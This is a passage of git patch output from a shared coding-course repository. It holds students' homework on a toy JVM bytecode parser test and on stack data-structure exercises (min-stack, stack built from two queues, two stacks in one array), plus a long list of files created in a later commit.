diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group04/844028312/min-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
index 722cf93a0b..46e3ed36da 100644
--- a/group04/844028312/min-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -9,6 +9,10 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.MethodRefInfo;
@@ -27,7 +31,7 @@ public class ClassFileloaderTest {
 	
 	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
 	
-	static String path1 = "F:\\workspace\\min-jvm\\bin";
+	static String path1 = "F:/workspace/min-jvm/bin";
 	static String path2 = "C:\temp";
 	
 	static ClassFile clzFile = null;
@@ -37,7 +41,7 @@ public class ClassFileloaderTest {
 		String className = "com.coderising.jvm.test.EmployeeV1";
 		
 		clzFile = loader.loadClass(className);
-		clzFile.print();
+		
 	}
 	
 	
@@ -200,6 +204,7 @@ public void testClassIndex(){
     	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
     	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
     }
+
     /**
      * 下面是第三次JVM课应实现的测试用例
      */
@@ -271,6 +276,79 @@ private void assertMethodEquals(ConstantPool pool,Method m , String expectedName
 		Assert.assertEquals(expectedDesc, methodDesc);
 		Assert.assertEquals(expectedCode, code);
     }
+    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
    
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
 
 }
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group04/844028312/min-jvm/src/com/coderising/jvm/test/EmployeeV1.java
index 019c90d4a3..12e3d7efdd 100644
--- a/group04/844028312/min-jvm/src/com/coderising/jvm/test/EmployeeV1.java
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/test/EmployeeV1.java
@@ -16,7 +16,6 @@ public void setName(String name) {
     }
     public void setAge(int age){
     	this.age = age;
-    	System.out.println("Hello , this is class Employee ");    	
     }
     public void sayHello() {        
     	System.out.println("Hello , this is class Employee ");    	

From bc5ca4704e890b3e872323730f6fe98534e1c91a Mon Sep 17 00:00:00 2001
From: xukai <xukai@raycloud.com>
Date: Sun, 7 May 2017 14:45:39 +0800
Subject: [PATCH 213/262] =?UTF-8?q?jvm6=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../xukai/coderising/stack/QuickMinStack.java |  61 +++++++++
 .../coderising/stack/StackWithTwoQueues.java  |  63 +++++++++
 .../coderising/stack/TwoStackInOneArray.java  | 122 ++++++++++++++++++
 3 files changed, 246 insertions(+)
 create mode 100644 group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/QuickMinStack.java
 create mode 100644 group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/StackWithTwoQueues.java
 create mode 100644 group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/TwoStackInOneArray.java

diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/QuickMinStack.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/QuickMinStack.java
new file mode 100644
index 0000000000..12e02ba5aa
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/QuickMinStack.java
@@ -0,0 +1,61 @@
+package org.xukai.coderising.stack;
+
+import org.junit.Test;
+
+import java.util.*;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author liuxin
+ *
+ */
+public class QuickMinStack {
+
+
+	private TreeSet<Integer> treeSet = new TreeSet<Integer>();
+
+	private java.util.Stack<Integer> stack = new java.util.Stack<Integer>();
+
+	public void push(int data){
+		stack.push(data);
+		treeSet.add(data);
+	}
+	public int pop(){
+		if (!stack.isEmpty()) {
+			treeSet.remove(stack.peek());
+			return stack.pop();
+		}
+		return -1;
+	}
+	public int findMin(){
+		if (treeSet.size() > 0) {
+			return treeSet.first();
+		}
+		return -1;
+	}
+
+	@Test
+	public void testQuickMinStack(){
+		QuickMinStack stack = new QuickMinStack();
+		stack.push(6);
+		stack.push(5);
+		stack.push(4);
+		stack.push(3);
+		stack.push(2);
+		stack.push(1);
+		System.out.println(stack.pop());
+		System.out.println(stack.pop());
+		System.out.println("min:" + stack.findMin());
+		System.out.println(stack.pop());
+		System.out.println("min:" + stack.findMin());
+		System.out.println(stack.pop());
+		System.out.println(stack.pop());
+		System.out.println("min:" + stack.findMin());
+		System.out.println(stack.pop());
+		System.out.println("min:" + stack.findMin());
+		System.out.println(stack.pop());
+
+
+	}
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/StackWithTwoQueues.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..e2e22a9766
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/StackWithTwoQueues.java
@@ -0,0 +1,63 @@
+package org.xukai.coderising.stack;
+
+
+import org.junit.Test;
+
+import java.util.concurrent.ArrayBlockingQueue;
+
+public class StackWithTwoQueues {
+
+    private ArrayBlockingQueue<Integer> queue1 = new ArrayBlockingQueue<Integer>(10);
+
+    private ArrayBlockingQueue<Integer> queue2 = new ArrayBlockingQueue<Integer>(10);
+
+
+	
+
+    public void push(int data) {
+
+        if (queue1.isEmpty()) {
+            queue1.offer(data);
+            swap(queue1,queue2);
+        } else {
+            queue2.offer(data);
+            swap(queue2, queue1);
+        }
+    }
+
+    private void swap(ArrayBlockingQueue<Integer> target, ArrayBlockingQueue<Integer> origin) {
+        while (!origin.isEmpty()) {
+            target.offer(origin.poll());
+        }
+    }
+
+    public int pop() {
+        if (!queue1.isEmpty()) {
+            return queue1.poll();
+        } else if(!queue2.isEmpty()) {
+            return queue2.poll();
+        }
+       return -1;
+    }
+
+    @Test
+    public void testStackWithTwoQueues(){
+        StackWithTwoQueues queue = new StackWithTwoQueues();
+        queue.push(6);
+        queue.push(5);
+        queue.push(4);
+        queue.push(3);
+        queue.push(2);
+        queue.push(1);
+        System.out.println(queue.pop());
+        System.out.println(queue.pop());
+        System.out.println(queue.pop());
+        System.out.println(queue.pop());
+        System.out.println(queue.pop());
+        System.out.println(queue.pop());
+        System.out.println(queue.pop());
+
+    }
+
+    
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/TwoStackInOneArray.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..d5a91f0672
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/TwoStackInOneArray.java
@@ -0,0 +1,122 @@
+package org.xukai.coderising.stack;
+
+import org.junit.Test;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @author liuxin
+ *
+ */
+public class TwoStackInOneArray {
+
+	Object[] data = new Object[5];
+
+	private int s1Pos = -1;
+
+	private int s2Pos = data.length;
+	
+	/**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(Object o){
+		if (s1Pos == s2Pos) {
+			doubleCapcity(data, s1Pos, s2Pos);
+		}
+		s1Pos++;
+		data[s1Pos] = o;
+	}
+
+	private void doubleCapcity(Object[] data, int s1Pos, int s2Pos) {
+		Object[] newData = new Object[2 * data.length];
+		System.arraycopy(data, 0, newData, 0, s1Pos + 1);
+		System.arraycopy(data, s2Pos, newData, data.length + s2Pos, data.length - s2Pos);
+		this.s2Pos = data.length + s2Pos;
+		this.data = newData;
+	}
+
+	/**
+	 * 从第一个栈中弹出元素
+	 * @return
+	 */
+	public Object pop1(){
+		if (s1Pos > -1) {
+			Object o = data[s1Pos];
+			s1Pos--;
+			return o;
+		}
+		return null;
+	}
+	
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * @return
+	 */
+	public Object peek1(){
+		if (s1Pos > -1) {
+			return data[s1Pos];
+		}
+		return null;
+	}
+
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o){
+		if (s1Pos == s2Pos - 1) {
+			doubleCapcity(data, s1Pos, s2Pos);
+		}
+		s2Pos--;
+		data[s2Pos] = o;
+	}
+	/**
+	 * 从第二个栈弹出元素
+	 * @return
+	 */
+	public Object pop2(){
+		if (s2Pos < data.length) {
+			Object o = data[s2Pos];
+			s2Pos++;
+			return o;
+		}
+		return null;
+	}
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek2(){
+		if (s2Pos < data.length) {
+			return data[s2Pos];
+		}
+		return null;
+	}
+
+	@Test
+	public void testTwoStackInOneArray(){
+		TwoStackInOneArray stack = new TwoStackInOneArray();
+		System.out.println(stack.peek1());
+		System.out.println(stack.peek2());
+		System.out.println(stack.pop1());
+		System.out.println(stack.pop2());
+
+		stack.push1(1);
+		stack.push1(2);
+		stack.push2(6);
+		stack.push2(5);
+		stack.push2(4);
+		stack.push2(3);
+		System.out.println(stack.pop1());
+		System.out.println(stack.pop1());
+		System.out.println(stack.pop1());
+		System.out.println(stack.pop1());
+		System.out.println(stack.pop2());
+		System.out.println(stack.pop2());
+		System.out.println(stack.pop2());
+		System.out.println(stack.pop2());
+
+	}
+	
+}

From 8908e8b3c5698e37273ba6dc82fd7b7e262fbb6e Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Sun, 7 May 2017 15:46:34 +0800
Subject: [PATCH 214/262] =?UTF-8?q?=E6=9C=80=E6=96=B0=E6=95=B0=E6=8D=AE?=
 =?UTF-8?q?=E7=BB=93=E6=9E=84=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

最新数据结构作业
---
 .../com/coding/basic/stack/QuickMinStack.java |  45 ++++++++
 .../basic/stack/StackWithTwoQueues.java       |  34 ++++++
 .../basic/stack/TwoStackInOneArray.java       | 108 ++++++++++++++++++
 3 files changed, 187 insertions(+)
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/stack/QuickMinStack.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/stack/StackWithTwoQueues.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/stack/TwoStackInOneArray.java

diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/QuickMinStack.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/QuickMinStack.java
new file mode 100644
index 0000000000..a04191da19
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/QuickMinStack.java
@@ -0,0 +1,45 @@
+package com.coding.basic.stack;
+
+import java.util.Arrays;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author liuxin
+ *
+ */
+public class QuickMinStack {
+	
+	int[] datas = new int[10];
+	int size;
+	int minIndex;
+	
+	public void push(int data){
+		checkAndresize();
+		datas[size] = data;
+		if(datas[minIndex] > data){
+			minIndex = size;
+		}
+		size++;
+	}
+	
+	public int pop(){
+		checkOutBound();
+		return datas[size-1];
+	}
+	public int findMin(){
+		checkOutBound();
+		return datas[minIndex];
+	}
+	
+	private void checkAndresize() {
+		if(size == datas.length){
+			datas = Arrays.copyOf(datas, datas.length*2);
+		}
+	}
+	private void checkOutBound(){
+		if(size <= 0){
+			throw new IndexOutOfBoundsException();
+		}
+	}
+}
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/StackWithTwoQueues.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..35ff5f88a6
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/StackWithTwoQueues.java
@@ -0,0 +1,34 @@
+package com.coding.basic.stack;
+
+import java.util.LinkedList;
+import java.util.Queue;
+
+public class StackWithTwoQueues {
+	
+	Queue<Integer> queue1 = new LinkedList<Integer>();
+	Queue<Integer> queue2 = new LinkedList<Integer>();
+
+    public void push(int data) {       
+    	queue1.add(data);
+    }
+
+    public int pop() {
+    	while(queue1.size() > 1){
+    		queue2.add(queue1.poll());
+    	}
+    	queue1.addAll(queue2);
+        return queue1.poll();
+    }
+    
+    public static void main(String[] args) {
+    	StackWithTwoQueues s = new StackWithTwoQueues();
+    	for (int i = 0; i < 5; i++) {
+			s.push(i);
+		}
+    	System.out.println(s.pop());
+    	System.out.println(s.pop());
+    	System.out.println(s.pop());
+    	System.out.println(s.pop());
+	}
+    
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/TwoStackInOneArray.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..2173d65b5a
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/TwoStackInOneArray.java
@@ -0,0 +1,108 @@
+package com.coding.basic.stack;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @author liuxin
+ *
+ */
+public class TwoStackInOneArray {
+	Object[] data = new Object[10];
+	int front;
+	int rear;
+	
+	/**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(Object o){
+		checkInBound();
+		data[front++] = o;
+	}
+	
+	/**
+	 * 从第一个栈中弹出元素
+	 * @return
+	 */
+	public Object pop1(){
+		checkOutBound(front);
+		Object o = data[--front];
+		data[front] = null;
+		return o;
+	}
+	
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek1(){
+		checkOutBound(front);
+		return data[front-1];
+	}
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o){
+		checkInBound();
+		data[data.length-rear-1] = o;
+		rear++;
+	}
+	/**
+	 * 从第二个栈弹出元素
+	 * @return
+	 */
+	public Object pop2(){
+		checkOutBound(rear);
+		int index = data.length-rear;
+		Object o = data[index];
+		data[index] = null;
+		rear--;
+		return o;
+	}
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek2(){
+		checkOutBound(rear);
+		return data[data.length-rear];
+	}
+	
+	private Object[] resize(int len) {
+		int newLen = len * 2;
+		Object[] newData = new Object[newLen];
+		if(front > 0){
+			System.arraycopy(data, 0, newData, 0, front);
+		}
+		if(rear > 0){
+			System.arraycopy(data, len-rear, newData, newLen-rear, rear);
+		}
+		return newData;
+	}
+	
+	private void checkOutBound(int index){
+		if(index <= 0){
+			throw new IndexOutOfBoundsException();
+		}
+	}
+	
+	private void checkInBound() {
+		if((front+rear) >= data.length){
+			data = resize(data.length);
+		}
+	}
+	
+	public static void main(String[] args) {
+		TwoStackInOneArray t = new TwoStackInOneArray();
+		for(int i=0;i<25;i++){
+			t.push1(i);
+			t.push2(i);
+		}
+		System.out.println(t.front+t.rear);
+		for(int i=0;i<t.data.length;i++){
+			System.out.print(t.data[i]+",");
+		}
+	}
+}
\ No newline at end of file

From a9f7b1d413c52de141cd0a3c60a077b0dfc58fb4 Mon Sep 17 00:00:00 2001
From: dudy <dudy@dudydeMacBook-Pro.local>
Date: Sun, 7 May 2017 16:39:26 +0800
Subject: [PATCH 215/262] =?UTF-8?q?jvm=E9=83=A8=E5=88=86=20=E6=95=B0?=
 =?UTF-8?q?=E6=8D=AE=E7=BB=93=E6=9E=84?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 group04/1796244932/learn01/pom.xml            |  32 ++
 .../base/aop/DynamicProxy/Business.java       |  16 +
 .../base/aop/DynamicProxy/CGlibDemo.java      |  28 ++
 .../aop/DynamicProxy/DynamicProxyDemo.java    |  25 ++
 .../base/aop/DynamicProxy/IBusiness.java      |   8 +
 .../base/aop/DynamicProxy/IBusiness2.java     |   9 +
 .../base/aop/DynamicProxy/LogIntercept.java   |  25 ++
 .../DynamicProxy/LogInvocationHandler.java    |  30 ++
 .../java/com/dudy/learn01/base/aop/node.md    |   7 +
 .../{ => base}/juc/ThreadLocalTest.java       |   2 +-
 .../download/DownloadThread.java              |   5 +-
 .../download/FileDownloader.java              |  14 +-
 .../download/api/Connection.java              |   2 +-
 .../download/api/ConnectionException.java     |   2 +-
 .../download/api/ConnectionManager.java       |   2 +-
 .../download/api/DownloadListener.java        |   3 +-
 .../download/impl/ConnectionImpl.java         |   5 +-
 .../download/impl/ConnectionManagerImpl.java  |  10 +-
 .../coderising/jvm/attr/AttributeInfo.java    |  19 +
 .../learn01/coderising/jvm/attr/CodeAttr.java |  69 ++++
 .../coderising/jvm/attr/LineNumberTable.java  |  55 +++
 .../jvm/attr/LocalVariableItem.java           |  39 ++
 .../jvm/attr/LocalVariableTable.java          |  40 ++
 .../coderising/jvm/attr/StackMapTable.java    |  30 ++
 .../coderising/jvm/clz/AccessFlag.java        |  25 ++
 .../learn01/coderising/jvm/clz/ClassFile.java | 102 +++++
 .../coderising/jvm/clz/ClassIndex.java        |  19 +
 .../learn01/coderising/jvm/cmd/BiPushCmd.java |  22 ++
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 130 +++++++
 .../coderising/jvm/cmd/CommandParser.java     |  86 +++++
 .../coderising/jvm/cmd/GetFieldCmd.java       |  22 ++
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  20 +
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  21 ++
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 ++
 .../learn01/coderising/jvm/cmd/LdcCmd.java    |  28 ++
 .../coderising/jvm/cmd/NewObjectCmd.java      |  19 +
 .../coderising/jvm/cmd/NoOperandCmd.java      |  22 ++
 .../coderising/jvm/cmd/OneOperandCmd.java     |  28 ++
 .../coderising/jvm/cmd/PutFieldCmd.java       |  20 +
 .../coderising/jvm/cmd/TwoOperandCmd.java     |  64 ++++
 .../coderising/jvm/constant/ClassInfo.java    |  28 ++
 .../coderising/jvm/constant/ConstantInfo.java |  40 ++
 .../coderising/jvm/constant/ConstantPool.java |  31 ++
 .../coderising/jvm/constant/FieldRefInfo.java |  58 +++
 .../jvm/constant/MethodRefInfo.java           |  60 +++
 .../jvm/constant/NameAndTypeInfo.java         |  51 +++
 .../jvm/constant/NullConstantInfo.java        |  17 +
 .../coderising/jvm/constant/StringInfo.java   |  32 ++
 .../coderising/jvm/constant/UTF8Info.java     |  37 ++
 .../learn01/coderising/jvm/field/Field.java   |  50 +++
 .../jvm/loader/ByteCodeIterator.java          |  57 +++
 .../jvm/loader/ClassFileLoader.java           | 132 +++++++
 .../jvm/loader/ClassFileParser.java           |  52 +++
 .../learn01/coderising/jvm/method/Method.java |  78 ++++
 .../jvm/print/ClassFilePrinter.java           |  46 +++
 .../jvm/print/ConstantPoolPrinter.java        |  19 +
 .../jvm/test/ClassFileloaderTest.java         | 347 ++++++++++++++++++
 .../coderising/jvm/test/EmployeeV1.java       |  28 ++
 .../learn01/coderising/jvm/util/Util.java     |  24 ++
 .../litestruts/ActionPojoParseXML.java        |   0
 .../litestruts/LoginAction.java               |   0
 .../{ => coderising}/litestruts/Struts.java   |   0
 .../{ => coderising}/litestruts/View.java     |   0
 .../litestruts/format/Configuration.java      |   0
 .../format/ConfigurationException.java        |   0
 .../litestruts/format/ConfigurationTest.java  |   0
 .../litestruts/format/LoginAction.java        |   0
 .../litestruts/format/ReflectionUtil.java     |   0
 .../litestruts/format/ReflectionUtilTest.java |   0
 .../litestruts/format/Struts.java             |   0
 .../litestruts/format/StrutsTest.java         |   0
 .../litestruts/format/View.java               |   0
 .../{base => data_structure}/MyIterator.java  |   2 +-
 .../{base => data_structure}/MyList.java      |   2 +-
 .../array}/MyArrayUtil.java                   |   2 +-
 .../data_structure/list/LRUPageFrame.java     | 146 ++++++++
 .../data_structure/list/LRUPageFrameTest.java |  33 ++
 .../list}/MyArrayList.java                    |   5 +-
 .../list}/MyLinkedList.java                   |   5 +-
 .../data_structure/queue/CircleQueue.java     |  78 ++++
 .../data_structure/queue/Josephus.java        |  33 ++
 .../data_structure/queue/JosephusTest.java    |  26 ++
 .../queue}/MyQueue.java                       |   7 +-
 .../queue/QueueWithTwoStacks.java             |  58 +++
 .../data_structure/queue/expr/InfixExpr.java  | 102 +++++
 .../queue/expr/InfixExprTest.java             |  51 +++
 .../queue/expr/InfixToPostfix.java            |  44 +++
 .../queue/expr/InfixToPostfixTest.java        |  27 ++
 .../queue/expr/PostfixExpr.java               |  55 +++
 .../queue/expr/PostfixExprTest.java           |  39 ++
 .../data_structure/queue/expr/PrefixExpr.java |  68 ++++
 .../queue/expr/PrefixExprTest.java            |  45 +++
 .../data_structure/queue/expr/Token.java      |  49 +++
 .../queue/expr/TokenParser.java               |  56 +++
 .../queue/expr/TokenParserTest.java           |  38 ++
 .../stack}/MyStack.java                       |   5 +-
 .../data_structure/stack/StackUtil.java       | 120 ++++++
 .../data_structure/stack/StackUtilTest.java   |  64 ++++
 .../tree}/MyBinaryTree.java                   |   2 +-
 .../dudy/learn01/litestruts/format/struts.xml |  11 -
 .../base/MyArrayListTest.java                 |   4 +-
 .../base/MyArrayUtilTest.java                 |   3 +-
 .../base/MyBinaryTreeTest.java                |   5 +-
 .../base/MyLinkedListTest.java                |   4 +-
 .../base/MyQueueTest.java                     |   5 +-
 .../base/MyStackTest.java                     |   5 +-
 .../learn01/download/FileDownloaderTest.java  |   8 +-
 107 files changed, 3466 insertions(+), 55 deletions(-)
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/Business.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/CGlibDemo.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/DynamicProxyDemo.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/IBusiness.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/IBusiness2.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/LogIntercept.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/LogInvocationHandler.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/node.md
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => base}/juc/ThreadLocalTest.java (98%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/download/DownloadThread.java (92%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/download/FileDownloader.java (88%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/download/api/Connection.java (89%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/download/api/ConnectionException.java (52%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/download/api/ConnectionManager.java (84%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/download/api/DownloadListener.java (58%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/download/impl/ConnectionImpl.java (96%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/download/impl/ConnectionManagerImpl.java (61%)
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/AttributeInfo.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/CodeAttr.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/LineNumberTable.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/LocalVariableItem.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/LocalVariableTable.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/StackMapTable.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/clz/AccessFlag.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/clz/ClassFile.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/clz/ClassIndex.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/BiPushCmd.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/CommandParser.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/GetFieldCmd.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/LdcCmd.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/NewObjectCmd.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/NoOperandCmd.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/OneOperandCmd.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/PutFieldCmd.java
